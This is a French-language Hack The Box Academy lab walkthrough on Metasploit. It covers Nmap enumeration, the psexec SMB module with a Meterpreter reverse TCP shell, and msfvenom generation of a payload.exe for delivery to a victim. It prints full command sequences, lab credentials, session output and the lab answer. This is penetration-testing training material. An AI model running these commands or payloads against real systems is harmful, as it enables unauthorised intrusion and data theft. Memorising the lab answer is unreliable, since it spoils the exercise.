Automating Payloads & Delivery with Metasploit

Metasploit est un framework d'attaque automatisée développé par Rapid7. Il facilite considérablement l'exploitation des vulnérabilités grùce à des modules préconstruits, simples à configurer, permettant de livrer des payloads (charges utiles) et d'obtenir un shell sur une cible vulnérable.

Metasploit est si efficace que certains organismes de formation en cybersĂ©curitĂ© limitent son utilisation durant les examens pratiques. Chez Hack The Box, l'expĂ©rimentation est encouragĂ©e afin d'acquĂ©rir une comprĂ©hension approfondie des outils. En situation rĂ©elle, la maĂźtrise des outils est cruciale : une mauvaise utilisation peut causer des dommages lors d’un test d’intrusion ou d’un audit.

Dans cette section, nous utilisons la version communautaire de Metasploit sur Pwnbox pour manipuler des modules prĂ©dĂ©finis et crĂ©er des payloads avec MSFVenom. Il est utile de savoir qu’une version professionnelle existe (Metasploit Pro), largement utilisĂ©e dans l’industrie.


đŸ§Ș Lancer Metasploit

Pour débuter, nous lançons la console Metasploit avec les droits root :

sudo msfconsole

Une banniĂšre ASCII s’affiche, accompagnĂ©e de statistiques sur les modules disponibles :

2131 exploits
592 payloads

Ces chiffres varient selon les mises à jour du framework ou l’ajout manuel de modules.


🔎 Phase d'ÉnumĂ©ration avec Nmap

Avant de choisir un module Metasploit, une phase de reconnaissance est nécessaire. Voici un exemple de scan Nmap :

nmap -sC -sV -Pn <IP CIBLE>

Exemple de résultats :

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 7 - 10

Le port 445 (SMB) est une piste intĂ©ressante pour l’exploitation.


🧰 Recherche de Modules SMB dans Metasploit

Dans la console Metasploit :

search smb

Cette commande affiche tous les modules liés au protocole SMB. Exemple de module :

56 exploit/windows/smb/psexec

Détails :

  • exploit/ : type de module

  • windows/ : plateforme cible

  • smb/ : service vulnĂ©rable

  • psexec : outil utilisĂ© pour exĂ©cuter du code Ă  distance

Sélection du module :

use 56

La console change :

msf6 exploit(windows/smb/psexec) >

Metasploit sélectionne par défaut le payload :

windows/meterpreter/reverse_tcp

⚙ Configuration du Module

Visualisation des options disponibles :

options

Exemples d’options importantes :

  • RHOSTS : Adresse IP de la cible

  • RPORT : Port du service SMB (par dĂ©faut : 445)

  • SMBUser / SMBPass : CrĂ©dentiels SMB si nĂ©cessaires

  • LHOST : Adresse IP de l’attaquant (interface d’écoute)

  • LPORT : Port d’écoute sur la machine attaquante

Exemple de configuration :

set RHOSTS <IP CIBLE>
set SMBUser <nom_utilisateur>
set SMBPass <mot_de_passe>
set LHOST <IP ATTAQUANT>
set LPORT 4444

🚀 ExĂ©cution de l’Exploit

Une fois les options définies :

exploit

Si la cible est vulnérable, une session Meterpreter est ouverte. Cette shell avancée permet de nombreuses actions post-exploitation :

  • Navigation de fichiers

  • Capture de captures d’écran

  • Dump des mots de passe

  • Escalade de privilĂšges


đŸ› ïž MSFVenom : GĂ©nĂ©ration de Payloads PersonnalisĂ©s

Metasploit intĂšgre l’outil MSFVenom pour crĂ©er des payloads personnalisĂ©s, souvent utilisĂ©s pour gĂ©nĂ©rer des fichiers malveillants :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP ATTAQUANT> LPORT=4444 -f exe -o payload.exe

Options clés :

  • -p : Payload Ă  utiliser

  • -f : Format du fichier gĂ©nĂ©rĂ©

  • -o : Nom du fichier de sortie

Ce fichier peut ensuite ĂȘtre transfĂ©rĂ© Ă  la victime via un vecteur d’ingĂ©nierie sociale ou d’exploitation.


⚠ Recommandations & SĂ©curitĂ©

  • Comprendre les options et les consĂ©quences d’un module est essentiel avant de l’exĂ©cuter.

  • Ne jamais exĂ©cuter des modules Metasploit Ă  l’aveugle sur des systĂšmes de production.

  • Toujours tester dans un environnement isolĂ© ou autorisĂ©.


📚 Ressources utiles


What command language interpreter is used to establish a system shell session with the target?

Nous savons que la cible est un poste Windows, donc l'interpreteur pour avoir une sessions shell est PowerShell.


Exploit the target using what you've learned in this section, then submit the name of the file located in htb-student's Documents folder. (Format: filename.extension)

Authenticate to 10.129.201.160 (ACADEMY-SHELLS-WIN10MSF) with user "htb-student" and password "HTB_@cademy_stdnt!"

Nous effectuons un scan de notre cible :

$ nmap -sC -sV 10.129.201.160

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 03:11 CDT

PORT     STATE SERVICE      VERSION
7/tcp    open  echo
9/tcp    open  discard?
13/tcp   open  daytime      Microsoft Windows USA daytime
17/tcp   open  qotd         Windows qotd (English)
19/tcp   open  chargen
80/tcp   open  http         Microsoft IIS httpd 10.0
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 10 Pro 18363 microsoft-ds (workgroup: WORKGROUP)
2179/tcp open  vmrdp?

Nmap done: 1 IP address (1 host up) scanned in 188.19 seconds

Nous executons Metasploit :

sudo msfconsole

Une fois lancé, nous cherchons un exploit de psexec concernant SMB, port trouvé lors du scan de notre cible :

[msf](Jobs:0 Agents:0) >> search smb exploit psexec

Matching Modules
================

   #   Name                                  Disclosure Date  Rank       Check  Description
   -   ----                                  ---------------  ----       -----  -----------
   0   exploit/windows/smb/smb_relay         2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   [...]               .                .          .      .
   22  exploit/windows/smb/psexec            1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   [...]

[msf](Jobs:0 Agents:0) >> use 22
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST

Une fois notre exploit choisi, nous modifions les options de ce dernier en fonction des différentes informations que l'on possÚde :

[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set rhost 10.129.201.160
rhost => 10.129.201.160

[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set smbpass HTB_@cademy_stdnt!
smbpass => HTB_@cademy_stdnt!

[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set smbuser htb-student
smbuser => htb-student

[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> set lhost 10.10.14.171
lhost => 10.10.14.171

Une fois les options renseignées, nous pouvons exécuter notre exploit :

[msf](Jobs:0 Agents:0) exploit(windows/smb/psexec) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444 
[*] 10.129.201.160:445 - Connecting to the server...
[*] 10.129.201.160:445 - Authenticating to 10.129.201.160:445 as user 'htb-student'...
[*] 10.129.201.160:445 - Selecting PowerShell target
[*] 10.129.201.160:445 - Executing the payload...
[+] 10.129.201.160:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 10.129.201.160
[*] Meterpreter session 1 opened (10.10.14.171:4444 -> 10.129.201.160:49875) at 2025-07-03 03:40:28 -0500

(Meterpreter 1)(C:\Windows\system32) > 

Nous pouvons donc observer la connexion effective Ă  notre cible.

Une fois la connexion établie, nous pouvons lister le répertoire des documents de l'utilisateur htb-student et observer quel fichier est présent :

(Meterpreter 2)(C:\Windows\system32) > ls ../../Users/htb-student/Documents
Listing: ../../Users/htb-student/Documents
==========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2021-10-16 11:08:05 -0500  My Music
040777/rwxrwxrwx  0     dir   2021-10-16 11:08:05 -0500  My Pictures
040777/rwxrwxrwx  0     dir   2021-10-16 11:08:05 -0500  My Videos
100666/rw-rw-rw-  402   fil   2021-10-16 11:08:07 -0500  desktop.ini
100666/rw-rw-rw-  268   fil   2021-10-16 15:16:01 -0500  staffsalaries.txt

Nous pouvons alors observer la présence du fichier staffsalaries.txt.


Mis Ă  jour